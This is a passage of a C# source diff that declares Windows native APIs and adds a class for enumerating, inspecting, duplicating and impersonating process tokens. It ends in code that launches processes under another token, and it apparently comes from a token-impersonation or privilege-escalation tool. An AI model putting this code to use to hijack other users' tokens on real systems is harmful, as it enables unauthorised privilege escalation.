0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + public enum TOKEN_ELEVATION_TYPE + { + TokenElevationTypeDefault = 1, + TokenElevationTypeFull, + TokenElevationTypeLimited + } + public enum TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin, + TokenElevationType, + TokenLinkedToken, + TokenElevation, + TokenHasRestrictions, + TokenAccessInformation, + TokenVirtualizationAllowed, + TokenVirtualizationEnabled, + TokenIntegrityLevel, + TokenUIAccess, + TokenMandatoryPolicy, + TokenLogonSid, + TokenIsAppContainer, + TokenCapabilities, + TokenAppContainerSid, + TokenAppContainerNumber, + TokenUserClaimAttributes, + TokenDeviceClaimAttributes, + TokenRestrictedUserClaimAttributes, + TokenRestrictedDeviceClaimAttributes, + TokenDeviceGroups, + TokenRestrictedDeviceGroups, + TokenSecurityAttributes, + TokenIsRestricted, + TokenProcessTrustLevel, + TokenPrivateNameSpace, + TokenSingletonAttributes, + TokenBnoIsolation, + TokenChildProcessFlags, + TokenIsLessPrivilegedAppContainer, + TokenIsSandboxed, + MaxTokenInfoClass + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public int LowPart; + + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + public class TokenPrivileges + { + public int PrivilegeCount = 1; + + public LUID Luid; + + public int Attributes; + } + public enum SECURITY_LOGON_TYPE : uint + { + UndefinedLogonType = 0, + Interactive = 2, + Network, + Batch, + Service, + Proxy, + Unlock, + NetworkCleartext, + NewCredentials, + RemoteInteractive, + CachedInteractive, + CachedRemoteInteractive, + CachedUnlock + } + public enum TOKEN_TYPE + { + UnKnown = -1, + TokenPrimary = 1, + TokenImpersonation + } + public enum OBJECT_INFORMATION_CLASS + { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllTypesInformation, + ObjectHandleInformation + } + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_TYPE_INFORMATION + { // Information Class 2 + public UNICODE_STRING Name; + public int ObjectCount; + public int HandleCount; + public int Reserved1; + public int Reserved2; + public int Reserved3; + public int Reserved4; + public int PeakObjectCount; + public int PeakHandleCount; + public int Reserved5; + public int Reserved6; + public int Reserved7; + public int Reserved8; + public int InvalidAttributes; + public GENERIC_MAPPING GenericMapping; + public int ValidAccess; + public byte Unknown; + public byte MaintainHandleDatabase; + public int PoolType; + public int PagedPoolUsage; + public int NonPagedPoolUsage; + } + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct SECURITY_LOGON_SESSION_DATA + { + public uint Size; + + public LUID LogonId; + + public UNICODE_STRING UserName; + + public UNICODE_STRING LogonDomain; + + public UNICODE_STRING AuthenticationPackage; + + public uint LogonType; + + public uint Session; + + public IntPtr Sid; + + public long LogonTime; + } + [StructLayout(LayoutKind.Sequential)] + public struct GENERIC_MAPPING + { + public int GenericRead; + public int GenericWrite; + public int GenericExecute; + public int GenericAll; + } + public class NativeMethod + { + public static readonly uint HANDLE_FLAG_INHERIT = 0x00000001; + public static readonly uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002; + public static readonly uint SystemExtendedHandleInformation = 0x40; + public static readonly uint STATUS_SUCCESS = 0x00000000; + public static readonly uint ERROR_SUCCESS = 0x00000000; + public static readonly uint STATUS_INFO_LENGTH_MISMATCH = 0xc0000004; + public static readonly uint STATUS_BUFFER_OVERFLOW = 0x80000005; + public static readonly uint DUPLICATE_SAME_ACCESS = 0x00000002; + public static readonly uint MAXIMUM_ALLOWED = 0x02000000; + public static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public static uint TOKEN_ASSIGN_PRIMARY = 0x0001; + public static uint TOKEN_DUPLICATE = 0x0002; + public static uint TOKEN_IMPERSONATE = 0x0004; + public static uint TOKEN_QUERY = 0x0008; + public static uint TOKEN_QUERY_SOURCE = 0x0010; + public static uint TOKEN_ADJUST_PRIVILEGES = 0x0020; + public static uint TOKEN_ADJUST_GROUPS = 0x0040; + public static uint TOKEN_ADJUST_DEFAULT = 0x0080; + public static uint TOKEN_ADJUST_SESSIONID = 0x0100; + + public static uint STARTF_FORCEONFEEDBACK = 0x00000040; + public static uint STARTF_FORCEOFFFEEDBACK = 0x00000080; + public static uint STARTF_PREVENTPINNING = 0x00002000; + public static uint STARTF_RUNFULLSCREEN = 0x00000020; + public static uint STARTF_TITLEISAPPID = 0x00001000; + public static uint STARTF_TITLEISLINKNAME = 0x00000800; + public static uint STARTF_UNTRUSTEDSOURCE = 0x00008000; + public static uint STARTF_USECOUNTCHARS = 0x00000008; + public static uint STARTF_USEFILLATTRIBUTE = 0x00000010; + public static uint STARTF_USEHOTKEY = 0x00000200; + public static uint STARTF_USEPOSITION = 0x00000004; + public static uint STARTF_USESHOWWINDOW = 0x00000001; + public static uint STARTF_USESIZE = 0x00000002; + public static uint STARTF_USESTDHANDLES = 0x00000100; + + + + public static uint GENERIC_READ = 0x80000000; + public static uint GENERIC_WRITE = 0x40000000; + public static uint GENERIC_EXECUTE = 0x20000000; + public static uint GENERIC_ALL = 0x10000000; + + + + + + public static uint TOKEN_ELEVATION = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID; + public static uint TOKEN_ALL_ACCESS_P = STANDARD_RIGHTS_REQUIRED | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_IMPERSONATE | + TOKEN_QUERY | + TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | + TOKEN_ADJUST_GROUPS | + TOKEN_ADJUST_DEFAULT; + + + public static readonly int SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001; + public static readonly int SE_PRIVILEGE_ENABLED = 0x00000002; + public static readonly int SE_PRIVILEGE_REMOVED = 0X00000004; + + public static readonly int NMPWAIT_WAIT_FOREVER = unchecked((int)0xffffffff); + public static readonly int NMPWAIT_NOWAIT = 0x00000001; + public static readonly int NMPWAIT_USE_DEFAULT_WAIT = 0x00000000; + + public static readonly int PIPE_UNLIMITED_INSTANCES = 255; + + public static readonly int PIPE_WAIT = 0x00000000; + public static readonly int PIPE_NOWAIT = 0x00000001; + public static readonly int PIPE_READMODE_BYTE = 0x00000000; + public static readonly int PIPE_READMODE_MESSAGE = 0x00000002; + public static readonly int PIPE_TYPE_BYTE = 0x00000000; + public static readonly int PIPE_TYPE_MESSAGE = 0x00000004; + public static readonly int PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000; + public static readonly int PIPE_REJECT_REMOTE_CLIENTS = 0x00000008; + + public static readonly int PIPE_ACCESS_INBOUND = 0x00000001; + public static readonly int PIPE_ACCESS_OUTBOUND = 0x00000002; + public static readonly int PIPE_ACCESS_DUPLEX = 0x00000003; + + public static IntPtr ContextToken = IntPtr.Zero; + + public static IntPtr BAD_HANLE = new IntPtr(-1); + + [DllImport("ntdll")] + public static extern uint NtQuerySystemInformation( + [In] uint SystemInformationClass, + [In] IntPtr SystemInformation, + [In] uint SystemInformationLength, + [Out] out uint ReturnLength); + [DllImport("ntdll")] + public static extern uint NtDuplicateObject( + [In] IntPtr SourceProcessHandle, + [In] IntPtr SourceHandle, + [In] IntPtr TargetProcessHandle, + [In] IntPtr PHANDLE, + [In] int DesiredAccess, + [In] int Attributes, + [In] int Options); + + [DllImport("ntdll", SetLastError = true)] + public static extern uint NtQueryObject( + [In] IntPtr Handle, + [In] OBJECT_INFORMATION_CLASS ObjectInformationClass, + IntPtr ObjectInformation, + [In] int ObjectInformationLength, + out int ReturnLength); + [DllImport("ntdll", SetLastError = true)] + public static extern uint NtSuspendProcess([In] IntPtr Handle); + + [DllImport("ntdll.dll", SetLastError = false)] + public static extern uint NtResumeProcess(IntPtr ProcessHandle); + + [DllImport("ntdll", SetLastError = true)] + public static extern uint NtTerminateProcess( + [In] IntPtr ProcessHandle, + [In] uint ExitStatus); + + + + [DllImport("ntdll", SetLastError = true)] + public static extern uint NtSetInformationProcess( + + [In] IntPtr ProcessHandle, + [In] PROCESS_INFORMATION_CLASS ProcessInformationClass, + [In] IntPtr ProcessInformation, + [In] uint ProcessInformationLength); + + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] + [DllImport("secur32.dll", SetLastError = true)] + internal static extern int LsaFreeReturnBuffer(IntPtr handle); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool PeekNamedPipe(IntPtr handle, + byte[] buffer, uint nBufferSize, ref uint bytesRead, + ref uint bytesAvail, ref uint BytesLeftThisMessage); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool IsTokenRestricted(IntPtr TokenHandle); + [DllImport("kernel32")] + public static extern void CloseHandle(IntPtr hObject); + [DllImport("kernel32")] + public static extern IntPtr GetCurrentProcess(); + [DllImport("kernel32")] + public static extern void SetLastError(uint dwErrCode); + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern bool CreateProcessW([In] string lpApplicationName, [In][Out] string lpCommandLine, [In] IntPtr lpProcessAttributes, [In] IntPtr lpThreadAttributes, [In] bool bInheritHandles, [In] uint dwCreationFlags, [In] IntPtr lpEnvironment, [In] string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, [Out] out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessAsUserW(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, [MarshalAs(UnmanagedType.LPWStr)] string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32", SetLastError = true)] + public static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength, out uint ReturnLength); + [DllImport("Kernel32", SetLastError = true)] + public static extern bool SetHandleInformation(IntPtr TokenHandle, uint dwMask, uint dwFlags); + + [DllImport("wtsapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int WTSConnectSession(int targetSessionId, int sourceSessionId, string password, bool wait); + + [DllImport("kernel32.dll")] + public static extern int WTSGetActiveConsoleSessionId(); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess( + ProcessAccessFlags processAccess, bool bInheritHandle, int processId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool DuplicateHandle( + [In] IntPtr hSourceProcessHandle, + [In] IntPtr hSourceHandle, + [In] IntPtr hTargetProcessHandle, + out IntPtr lpTargetHandle, + [In] uint dwDesiredAccess, + [In] bool bInheritHandle, + [In] uint dwOptions +); + [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] + internal static extern uint LsaGetLogonSessionData([In] ref LUID LogonId, [In][Out] ref IntPtr ppLogonSessionData); + [DllImport("advapi32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool LookupPrivilegeValue([MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, [MarshalAs(UnmanagedType.LPTStr)] string lpName, out LUID lpLuid); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, TokenPrivileges NewState, int BufferLength, IntPtr PreviousState, out int ReturnLength); + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + [DllImport("advapi32.dll", SetLastError = true, EntryPoint = "RevertToSelf")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool RevertToSelfEx(); + [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, EntryPoint = "CreateNamedPipeW", SetLastError = true)] + public static extern IntPtr CreateNamedPipe(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes); + [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, EntryPoint = "CreateFileW", SetLastError = true)] + public static extern IntPtr CreateFileW(string lpFileName, int dwDesiredAccess, FileShare dwShareMode, ref SECURITY_ATTRIBUTES secAttrs, FileMode dwCreationDisposition, int dwFlagsAndAttributes, IntPtr hTemplateFile); + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool ConnectNamedPipe(IntPtr handle, IntPtr overlapped); + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); + [DllImport("psapi.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetModuleFileNameEx(IntPtr processHandle, IntPtr moduleHandle, StringBuilder baseName, int size); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "DuplicateTokenEx")] + private extern static bool DuplicateTokenExInternal(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, TOKEN_TYPE TokenType, out IntPtr phNewToken); + public static bool GetTokenInformation(IntPtr tokenHandle, TOKEN_INFORMATION_CLASS tokenInformationClass, out IntPtr TokenInformation, out uint dwLength) + { + + bool status = GetTokenInformation(tokenHandle, tokenInformationClass, IntPtr.Zero, 0, out dwLength); + + if (dwLength == 0xfffffff8) + { + dwLength = 0; + goto failRet; + } + + TokenInformation = Marshal.AllocHGlobal((int)dwLength); + if (GetTokenInformation(tokenHandle, tokenInformationClass, TokenInformation, dwLength, out dwLength)) + { + return true; + } + failRet: + dwLength = 0; + TokenInformation = IntPtr.Zero; + return false; + } + + public static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, + IntPtr lpTokenAttributes, TokenImpersonationLevel impersonationLevel, TOKEN_TYPE TokenType, + out IntPtr phNewToken) + { + impersonationLevel -= TokenImpersonationLevel.Anonymous; + return DuplicateTokenExInternal(hExistingToken, dwDesiredAccess, lpTokenAttributes, (uint)impersonationLevel, + TokenType, out phNewToken); + } + + public static bool RevertToSelf() + { + bool isOk = RevertToSelfEx(); + if (ContextToken != IntPtr.Zero) + { + isOk = ImpersonateLoggedOnUser(ContextToken); + } + + return isOk; + } + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct TOKEN_STATISTICS + { + + public LUID TokenId; + + public LUID AuthenticationId; + + public long ExpirationTime; + + public uint TokenType; + + public uint ImpersonationLevel; + + public uint DynamicCharged; + + public uint DynamicAvailable; + + public uint GroupCount; + + public uint PrivilegeCount; + + public LUID ModifiedId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _SYSTEM_HANDLE_INFORMATION_EX + { + private static int TypeSize = Marshal.SizeOf(typeof(_SYSTEM_HANDLE_INFORMATION_EX)); + public IntPtr NumberOfHandles; + public IntPtr Reserved; + + + public uint GetNumberOfHandles() + { + return (uint)NumberOfHandles.ToInt64(); + } + public static SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleAt(IntPtr handleInfoPtr, ulong index) + { + IntPtr thisPtr = new IntPtr(handleInfoPtr.ToInt64()); + thisPtr = new IntPtr(thisPtr.ToInt64() + TypeSize + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)) * (int)index); + + return (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(thisPtr, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)); + + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + [SecurityPermission(SecurityAction.LinkDemand)] + public void Initialize(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + [SecurityPermission(SecurityAction.LinkDemand)] + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + [SecurityPermission(SecurityAction.LinkDemand)] + public override string ToString() + { + if (Length == 0) + return String.Empty; + return Marshal.PtrToStringUni(buffer, Length / 2); + } + } + + public class ProcessToken + { + public string SID { get; set; } + public string LogonDomain { get; set; } + public string UserName { get; set; } + public uint Session { get; set; } + public SECURITY_LOGON_TYPE LogonType { get; set; } + public TOKEN_TYPE TokenType { get; set; } + public IntPtr TokenHandle { get; set; } + public int TargetProcessId { get; set; } + public IntPtr TargetProcessToken { get; set; } + public TokenImpersonationLevel ImpersonationLevel { get; set; } + public string AuthenticationType { get; set; } + public string TargetProcessExePath { get; set; } + public TOKEN_ELEVATION_TYPE TokenElevationType { get; set; } + public IntegrityLevel IntegrityLevel { get; set; } + public bool IsRestricted { get; set; } + public bool TokenUIAccess { get; set; } + + public string Groups { get; set; } + + public bool IsClose { get; private set; } + + private ProcessToken() + { + + } + + + public static ProcessToken Cast(IntPtr targetProcessToken, int targetProcessPid, IntPtr targetProcessHandle, IntPtr tokenHandle) + { + try + { + return _Cast(targetProcessToken, targetProcessPid, targetProcessHandle, tokenHandle); + } + catch (Exception) + { + + return null; + } + + } + private static ProcessToken _Cast(IntPtr targetProcessToken, int targetProcessPid, IntPtr targetProcessHandle, IntPtr tokenHandle) + { + ProcessToken processToken = new ProcessToken(); + SecurityIdentifier securityIdentifier = GetUser(tokenHandle); + + if (securityIdentifier == null) + { + return null; + } + + processToken.UserName = securityIdentifier.Translate(typeof(NTAccount)).Value; + processToken.SID = securityIdentifier.Value; + processToken.Groups = string.Join(",", getGoups(tokenHandle)); + processToken.ImpersonationLevel = GetImpersonationLevel(tokenHandle); + uint session = 0; + SECURITY_LOGON_TYPE logonType = SECURITY_LOGON_TYPE.UndefinedLogonType; + string logonDomain = ""; + + processToken.AuthenticationType = GetAuthenticationType(tokenHandle, out session, out logonDomain, out logonType); + processToken.Session = session; + processToken.LogonType = logonType; + processToken.LogonDomain = logonDomain; + + processToken.TargetProcessId = targetProcessPid; + processToken.TargetProcessToken = targetProcessToken; + + //获取Token类型 + processToken.TokenType = GetTokenType(tokenHandle); + + //检查token类型是否为主Token 如果是主Token必须调用DuplicateTokenEx获取模拟Token不然就获取不到Token类型 详情:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_information_class + if (processToken.ImpersonationLevel == TokenImpersonationLevel.None) + { + IntPtr newToken; + if (NativeMethod.DuplicateTokenEx(tokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, + TokenImpersonationLevel.Delegation, TOKEN_TYPE.TokenImpersonation, out newToken)) + { + processToken.ImpersonationLevel = TokenImpersonationLevel.Delegation; + NativeMethod.CloseHandle(newToken); + } + else if (NativeMethod.DuplicateTokenEx(tokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, + TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out newToken)) + { + processToken.ImpersonationLevel = TokenImpersonationLevel.Impersonation; + NativeMethod.CloseHandle(newToken); + } + } + + processToken.TokenElevationType = GetTokenElevationType(tokenHandle); + processToken.IntegrityLevel = GetTokenIntegrityLevel(tokenHandle); + processToken.IsRestricted = NativeMethod.IsTokenRestricted(tokenHandle); + processToken.TokenUIAccess = GetTokenUIAccess(tokenHandle); + if (targetProcessHandle != IntPtr.Zero) + { + StringBuilder exePath = new StringBuilder(1024); + NativeMethod.GetModuleFileNameEx(targetProcessHandle, IntPtr.Zero, exePath, exePath.Capacity * 2); + processToken.TargetProcessExePath = exePath.ToString(); + } + + processToken.TokenHandle = tokenHandle; + return processToken; + } + + public static SecurityIdentifier GetUser(IntPtr tokenHandle) + { + uint ReturnLength; + IntPtr tokenUserPtr = IntPtr.Zero; + SecurityIdentifier securityIdentifier = null; + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, out tokenUserPtr, out ReturnLength)) + { + securityIdentifier = new SecurityIdentifier(Marshal.ReadIntPtr(tokenUserPtr)); + Marshal.FreeHGlobal(tokenUserPtr); + } + return securityIdentifier; + } + + public static string[] getGoups(IntPtr tokenHandle) + { + List goups = new List(); + IntPtr tokenUserPtr = IntPtr.Zero; + SecurityIdentifier securityIdentifier = null; + uint ReturnLength; + /** + * + * typedef struct _TOKEN_GROUPS { + DWORD GroupCount; + #ifdef MIDL_PASS + [size_is(GroupCount)] SID_AND_ATTRIBUTES Groups[*]; + #else // MIDL_PASS + SID_AND_ATTRIBUTES Groups[ANYSIZE_ARRAY]; + #endif // MIDL_PASS + } TOKEN_GROUPS, *PTOKEN_GROUPS; + * + */ + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenGroups, out tokenUserPtr, out ReturnLength)) + { + int offset = 0; + int groupCount = Marshal.ReadInt32(tokenUserPtr); + offset += Marshal.SizeOf(typeof(TOKEN_GROUPS)) - Marshal.SizeOf(typeof(SID_AND_ATTRIBUTES)); + + for (int i = 0; i < groupCount; i++) + { + try + { + securityIdentifier = new SecurityIdentifier(Marshal.ReadIntPtr(new IntPtr(tokenUserPtr.ToInt64() + offset))); + offset += Marshal.SizeOf(typeof(SID_AND_ATTRIBUTES)); + goups.Add(securityIdentifier.Translate(typeof(NTAccount)).Value); + } + catch (Exception e) + { + continue; + } + } + Marshal.FreeHGlobal(tokenUserPtr); + } + return goups.ToArray(); + } + + public static TOKEN_TYPE GetTokenType(IntPtr tokenHandle) + { + IntPtr tokenTypePtr = IntPtr.Zero; + uint outLength = 0; + TOKEN_TYPE ret = TOKEN_TYPE.UnKnown; + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenType, out tokenTypePtr, out outLength)) + { + ret = (TOKEN_TYPE)(int)Marshal.PtrToStructure(tokenTypePtr, typeof(int)); + Marshal.FreeHGlobal(tokenTypePtr); + } + return ret; + } + public static TOKEN_ELEVATION_TYPE GetTokenElevationType(IntPtr tokenHandle) + { + IntPtr tokenInfo = IntPtr.Zero; + uint dwLength; + int num = -1; + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenElevationType, out tokenInfo, out dwLength)) + { + num = Marshal.ReadInt32(tokenInfo); + Marshal.FreeHGlobal(tokenInfo); + + } + return (TOKEN_ELEVATION_TYPE)Enum.ToObject(typeof(TOKEN_ELEVATION_TYPE), num); + } + public static TokenImpersonationLevel GetImpersonationLevel(IntPtr tokenHandle) + { + IntPtr tokenInfo = IntPtr.Zero; + uint dwLength = 0; + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, out tokenInfo, out dwLength)) + { + int num = Marshal.ReadInt32(tokenInfo); + Marshal.FreeHGlobal(tokenInfo); + return num + TokenImpersonationLevel.Anonymous; + } + return TokenImpersonationLevel.None; + } + public static string GetAuthenticationType(IntPtr tokenHandle, out uint sessionId, out string logonDomain, out SECURITY_LOGON_TYPE logonType) + { + IntPtr tokenInfo = IntPtr.Zero; + uint dwLength = 0; + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenStatistics, out tokenInfo, out dwLength)) + { + TOKEN_STATISTICS tokenStatistics = (TOKEN_STATISTICS)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_STATISTICS)); + Marshal.FreeHGlobal(tokenInfo); + LUID logonAuthId = tokenStatistics.AuthenticationId; + if (logonAuthId.LowPart == 998U) + { + goto failRet; + } + IntPtr ppLogonSessionData = IntPtr.Zero; + uint status = NativeMethod.LsaGetLogonSessionData(ref logonAuthId, ref ppLogonSessionData); + if (status == NativeMethod.STATUS_SUCCESS) + { + SECURITY_LOGON_SESSION_DATA sessionData = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(SECURITY_LOGON_SESSION_DATA)); + string result = sessionData.AuthenticationPackage.ToString(); + logonType = (SECURITY_LOGON_TYPE)sessionData.LogonType; + sessionId = sessionData.Session; + logonDomain = sessionData.LogonDomain.ToString(); + NativeMethod.LsaFreeReturnBuffer(ppLogonSessionData); + return result; + } + + } + failRet: + logonType = SECURITY_LOGON_TYPE.UndefinedLogonType; + sessionId = 0; + logonDomain = "UnKnown"; + return "UnKnown"; + } + public static IntegrityLevel GetTokenIntegrityLevel(IntPtr tokenHanle) + { + IntPtr infoPtr = IntPtr.Zero; + uint dwLength; + uint IntegrityLevel = 0; + if (NativeMethod.GetTokenInformation(tokenHanle, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, out infoPtr, out dwLength)) + { + TOKEN_MANDATORY_LABEL tokenMandatoryLabel = (TOKEN_MANDATORY_LABEL)Marshal.PtrToStructure(infoPtr, typeof(TOKEN_MANDATORY_LABEL)); + IntPtr SubAuthorityCount = NativeMethod.GetSidSubAuthorityCount(tokenMandatoryLabel.Label.Sid); + + IntPtr IntegrityLevelRidPtr = NativeMethod.GetSidSubAuthority(tokenMandatoryLabel.Label.Sid, (uint)Marshal.ReadInt32(SubAuthorityCount) - 1); + uint IntegrityLevelRid = (uint)Marshal.ReadInt32(IntegrityLevelRidPtr); + Array integrityLevels = Enum.GetValues(typeof(IntegrityLevel)); + + for (int i = 0; i < integrityLevels.Length; i++) + { + uint tmpRid = (uint)integrityLevels.GetValue(i); + if (IntegrityLevelRid >= tmpRid) + { + IntegrityLevel = tmpRid; + } + else + { + break; + } + } + Marshal.FreeHGlobal(infoPtr); + + } + return (IntegrityLevel)Enum.ToObject(typeof(IntegrityLevel), IntegrityLevel); + } + + public static bool GetTokenUIAccess(IntPtr tokenHandle) + { + IntPtr tokenInfo = IntPtr.Zero; + uint outLength = 0; + bool isTokenUIAccess = false; + if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUIAccess, out tokenInfo, out outLength)) + { + if (Marshal.ReadByte(tokenInfo) != 0) + { + isTokenUIAccess = true; + } + + Marshal.FreeHGlobal(tokenInfo); + } + return isTokenUIAccess; + } + public bool CreateProcess(string commandLine, bool bInheritHandles, uint dwCreationFlags, ref STARTUPINFO startupinfo, out PROCESS_INFORMATION processInformation) + { + + if (TokenType != TOKEN_TYPE.TokenPrimary) + { + IntPtr tmpTokenHandle = IntPtr.Zero; + if (NativeMethod.DuplicateTokenEx(this.TokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, this.ImpersonationLevel, TOKEN_TYPE.TokenPrimary, + out tmpTokenHandle)) + { + NativeMethod.CloseHandle(this.TokenHandle); + this.TokenHandle = tmpTokenHandle; + } + else + { + throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()); + } + } + + NativeMethod.SetLastError(0); + + if (NativeMethod.CreateProcessAsUserW(this.TokenHandle, null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles, dwCreationFlags + , IntPtr.Zero, null, ref startupinfo, out processInformation)) + { + return true; + } + + //CreateProcessWithTokenW的TokenHandle必须有TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID权限 + if (NativeMethod.CreateProcessWithTokenW(this.TokenHandle, 0, null, commandLine, dwCreationFlags, IntPtr.Zero, null, ref startupinfo, + out processInformation)) + { + return true; + } + else + { + uint newDwCreationFlags = dwCreationFlags | 